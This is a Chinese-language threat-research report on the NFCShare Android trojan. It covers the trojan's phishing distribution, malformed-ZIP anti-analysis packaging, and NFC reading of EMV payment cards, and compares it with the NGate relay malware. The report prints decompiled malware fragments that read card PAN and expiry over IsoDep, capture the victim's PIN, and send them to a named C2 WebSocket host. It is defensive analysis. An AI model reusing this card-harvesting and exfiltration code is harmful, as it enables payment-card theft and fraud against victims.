摘要

這份研究報告提供了 NFCShare Android 木馬的深入技術分析,重點在於其近期從在地化的銀行釣魚應用程式,演化為複雜的、雲端託管的詐騙活動。我們檢視了此惡意軟體的分發戰術、其進階的反分析包裝技術,以及用於外洩 EMV 支付卡資料的核心 NFC 攔截邏輯。此外,我們將 NFCShare 的直接 NFC 讀取機制,與近期網路安全文獻 [2] 中記錄的、類似 NGate 威脅中所觀察到的主機卡模擬 (Host Card Emulation, HCE) 中繼攻擊進行了比較。

什麼是 PPSE 攻擊?NFCShare 利用 APDU 繞過 EMV 保護的駭客手法! | 資訊安全新聞

1. 簡介

隨著 NFCShare 的出現,行動銀行威脅的樣貌發生了顯著變化。NFCShare 是一個專門設計來從實體支付卡竊取近場通訊 (Near Field Communication , NFC) 資料的 Android 木馬。最初於 2026 年初被發現,該惡意軟體經歷了顯著的營運演化。最新的演化利用合法的基礎設施來託管和散佈惡意的 malicious payload [1] 。這種轉變表明朝向更具韌性和可擴展性的散佈模型邁進,擺脫了短暫的網路釣魚網域,轉向提供表面合法性與高可用性的平台。

該攻擊活動主要透過多階段的社交工程流程來鎖定使用者。受害者被引導至模仿合法銀行入口網站的網路釣魚網站。在收集到網銀登入 credential 後,流程轉向「強制更新」階段,使用者被提示要下載一個惡意套件。這種方法繞過了官方應用程式商店的安全審查,同時透過目標性欺騙維持高成功率。此處呈現的技術研究專注於惡意軟體的內部機制,以及其在當前威脅環境中的相對定位。

2. 技術演化與反分析封裝技術

在近期 NFCShare 樣本中,最重要的技術進展之一是在套件內實作了格式錯誤的 ZIP 結構。標準的 Android 應用程式本質上是 ZIP 壓縮檔;然而,Threat actor 引入了惡意路徑 (poisoned paths),例如植根於關鍵系統檔案下的入口,目的在干擾自動化分析 pipeline 和簡易的提取工具 [1]

表 1:NFCShare 技術特徵演化
功能 2026 年初樣本 2026 年中進階樣本
DEX 佈局 8 個 DEX 檔案 10 個 DEX 檔案
C2 通訊 寫死的 IP (WebSocket) 動態 DNS / 基於 Domain 的 WebSocket
反分析 標準字串混淆 格式錯誤的 ZIP 路徑 + 進階混淆
散佈 直接釣魚 URL 透過短網址的雲端託管 Blob

這種封裝策略有效地阻止了許多自動化靜態分析工具正確解析 manifest 或提取資源,從而延遲了檢測和分類。分析人員必須採用專門的初步處理工作流程來處理這些格式錯誤的結構,並成功分析樣本 [1] 。從 8 個 DEX 檔案轉變為 10 個,也暗示了更高的模組化程度,以及包含了額外的函式庫或反分析元件。

3. 核心 NFC 攔截與 EMV 解析

NFCShare 的技術核心在於它能透過 Android NFC 框架中的 IsoDep 類別與實體支付卡進行互動。與使用 overlay attack 來竊取 credential 的傳統銀行木馬不同,NFCShare 扮演一個惡意的 NFC 讀取器。當受害者受騙將卡片靠近裝置時,惡意軟體會發起連線,並向卡片的晶片發送應用協議數據單元 (Application Protocol Data Unit, APDU) 命令。

主要目標是選擇鄰近支付系統環境 (Proximity Payment System Environment, PPSE) 並取得主帳號 (Primary Account Number, PAN)、到期日以及其他敏感的持卡人資料。這些資料隨後與透過假 UI 畫面擷取的 PIN 碼結合,為攻擊者提供足夠的資訊來進行詐騙交易或複製卡片的數位身分以進行 Relay attack。資料外洩是透過持續性的 WebSocket 連線傳送至指揮與控制(C2)伺服器來處理的。

3.1. 技術工作流程圖

下方的序列圖說明了在成功擷取資料期間,受害者的卡片、惡意應用程式以及命令與控制 (C2) 伺服器之間的互動。

sequenceDiagram participant C as Payment Card participant M as NFCShare Malware participant U as User (Victim) participant S as C2 Server U->>M: Installs Malicious APK M->>U: Displays "Card Verification" UI U->>M: Places Card near Phone M->>C: Connect (IsoDep) M->>C: SELECT PPSE (APDU) C-->>M: Return Card Data (PAN, Expiry) M->>U: Prompts for 4-digit PIN U->>M: Enters PIN M->>S: Exfiltrate Card Data + PIN (WebSocket)

4. 比較分析:NFCShare 與 NGate

為了理解 NFCShare 的技術複雜度,將其與近期研究 [2] 中分析的 NGate 惡意軟體進行比較是很有啟發性的。雖然兩種惡意軟體都針對 NFC 支付系統,但它們的技術實作在重要方面有所不同。NGate 利用主機卡模擬 (Host Card Emulation, HCE) 來執行即時的 NFC relay attack。在 NGate 模型中,受害者手機上的惡意軟體會擷取來自合法終端機的 APDU 命令,並將其轉發給受害者的卡片,從而允許立即進行實體交易 [2]

相比之下,NFCShare 專注於將卡片資料和 PIN 碼直接外洩到遠端伺服器以供後續使用。這種「Harvest and Exfiltrate」模型在技術上不同於「Relay」模型。此外,如同 前期文章 中所討論的,NGate 採用了一種複雜的 native 設定載入機制,使用從應用程式簽署憑證的 SHA-256 hash 衍生的 keys [2] 。NFCShare 更依賴於套件層級的反分析技巧和透過 NPStringFog 進行的字串混淆。

使用進階分析 pipeline(例如涉及 Rizin 和 Unicorn 的 pipeline)通常是解碼此類惡意軟體複雜邏輯所必需的,如同 前期文章 [3] 中所強調的。這些工具允許高效能分析和設定擷取,這對於在面對像 NFCShare 這樣不斷演進的威脅時保持領先至關重要。

5. 詳細程式碼分析

以下各節分析了從 NFCShare 惡意軟體中提取的五個關鍵程式碼片段,說明了其運作邏輯和外洩機制。

5.1. 片段 1:建置管理與部署

Threat actor 使用一個簡單的腳本來管理新惡意建置的部署。這種自動化允許快速輪替目標和設定。

  1. #!/usr/bin/env bash
  2. # Script for managing malware build updates
  3. set -e
  4. BRANCH="main"
  5. COMMIT_MSG="Updated all components"
  6. # Switch to the primary branch for deployment
  7. git switch "$BRANCH"
  8. # Stage all new payloads and modified resources
  9. git add -A
  10. # Commit changes with a generic message
  11. git commit -m "$COMMIT_MSG"
  12. # Push updates to the remote hosting repository
  13. git push origin "$BRANCH"

5.2. 片段 2:外洩頻道列舉

惡意軟體定義了特定的通訊頻道來組織外洩的資料。 CARD_INFO_CHANNEL 是傳送敏感資料的主要路徑。

  1. package nfc.share.itnamteis.model;
  2. /**
  3. * Enumeration of communication channels for exfiltration.
  4. * Organizes different types of stolen data and status updates.
  5. */
  6. public enum MqttChannel {
  7. FETCH_CHANNEL,
  8. SEND_CHANNEL,
  9. LOG_CHANNEL,
  10. CARD_INFO_CHANNEL, // Primary channel for exfiltrating card data and PINs
  11. CARD_REMOVED, // Signals when the physical card is no longer in range
  12. NOTIFICATION_CHANNEL,
  13. ANSWER_CHANNEL,
  14. OFFLINE_CHANNEL
  15. }

5.3. 片段 3:命令與控制初始化

主要進入點初始化 C2 連線並載入本地 UI。使用字串混淆來隱藏端點和資產路徑。

  1. // Command and Control WebSocket endpoint
  2. public final String f3591z = "ws://nfck.loseyourip.com:8001/";
  3. // Initialization of the WebView component for the user interface
  4. e.f = NPStringFog.decode("8CFBFF8CF7F186CCC6"); // Internal label for the sender component
  5. e.g = "100";
  6. WebView webView = (WebView) findViewById(R.attr.webview);
  7. this.f3585A = webView;
  8. webView.getSettings().setJavaScriptEnabled(true);
  9. this.f3585A.setWebViewClient(new b());
  10. // Loads the local phishing template from assets
  11. // Decoded URL: file:///android_asset/index.html?step=
  12. this.f3585A.loadUrl(
  13. NPStringFog.decode("0F1D02004D5F4E48081A0A171819053808071D00035F08090D11164B1F040C0B56071A00074D")
  14. );

5.4. 片段 4:NFC APDU 互動邏輯

此片段展示了核心的 NFC 互動,其中惡意軟體發送 APDU 命令以選擇受害者卡片上的 PPSE。

  1. public final class c implements NfcAdapter.ReaderCallback {
  2. public IsoDep f4125a;
  3. public final String b(Tag tag) throws IOException {
  4. IsoDep isoDep = IsoDep.get(tag);
  5. this.f4125a = isoDep;
  6. if (!isoDep.isConnected()) {
  7. this.f4125a.connect();
  8. this.f4125a.setTimeout(120000); // Extended timeout for stable reading
  9. }
  10. // Decodes to the SELECT PPSE APDU command
  11. byte[] ppse = t1.e.b(d(
  12. NPStringFog.decode("59442F514744515759315D57424055565C4D5C204243545E5C475C20434455535D425D5544415157")
  13. ));
  14. // After successful PPSE selection, the malware parses the response for card details
  15. CardInfoitmanteis card = new CardInfoitmanteis(cardNumber, cardType, expiryDate, label);
  16. // Exfiltrate the structured card data via the designated channel
  17. t1.e.b.I(MqttChannel.CARD_INFO_CHANNEL, t1.e.c(card.toString().getBytes()));
  18. }
  19. }

5.5. 片段 5:資料序列化與 PIN 碼外洩

惡意軟體將竊取的資料序列化為結構化的字串。PIN 碼透過重新利用資料模型來外洩。

  1. public String toString() {
  2. StringBuilder sb = new StringBuilder();
  3. sb.append(this.number); // Primary Account Number (PAN)
  4. String sep = NPStringFog.decode("4F"); // Separator character "&"
  5. sb.append(sep);
  6. sb.append(this.type); // Can hold Card Type or the captured PIN
  7. sb.append(sep);
  8. sb.append(this.label); // Card Label (e.g., Visa/Mastercard)
  9. sb.append(sep);
  10. sb.append(new SimpleDateFormat(
  11. NPStringFog.decode("2439411C0E") // Date format "MM/yy"
  12. ).format(this.expireDate));
  13. return sb.toString();
  14. }
  15. // Logic to capture and exfiltrate the victim's PIN
  16. String pin = this.f4108a.getText().toString();
  17. CardInfoitmanteis pinInfo = new CardInfoitmanteis(
  18. e.f4113h.getNumber(),
  19. pin, // The PIN is placed in the second data field
  20. e.f4113h.getExpireDate(),
  21. e.f4113h.getLabel()
  22. );
  23. // Transmission of the PIN-enriched data to the C2 server
  24. e.b.I(MqttChannel.CARD_INFO_CHANNEL, e.c(pinInfo.toString().getBytes()));

6. 結論

NFCShare 的演化凸顯了行動惡意軟體朝向專門化、針對硬體的詐騙攻擊的增長趨勢。透過將其散佈轉移到雲端託管的儲存庫並實作反分析封裝,Threat actor 展現了明確的意圖,即提高其攻擊活動的持久性和觸及範圍。雖然 NFCShare 的直接外洩模型在技術上與 NGate 採用的 HCE relay 機制不同,但其有效性在於能夠將社交工程與強大的 NFC 資料擷取相結合。防禦此類威脅需要多層次的方法,包括提高使用者的警覺性,以及在行動作業系統中實作更嚴格的 NFC 安全控管。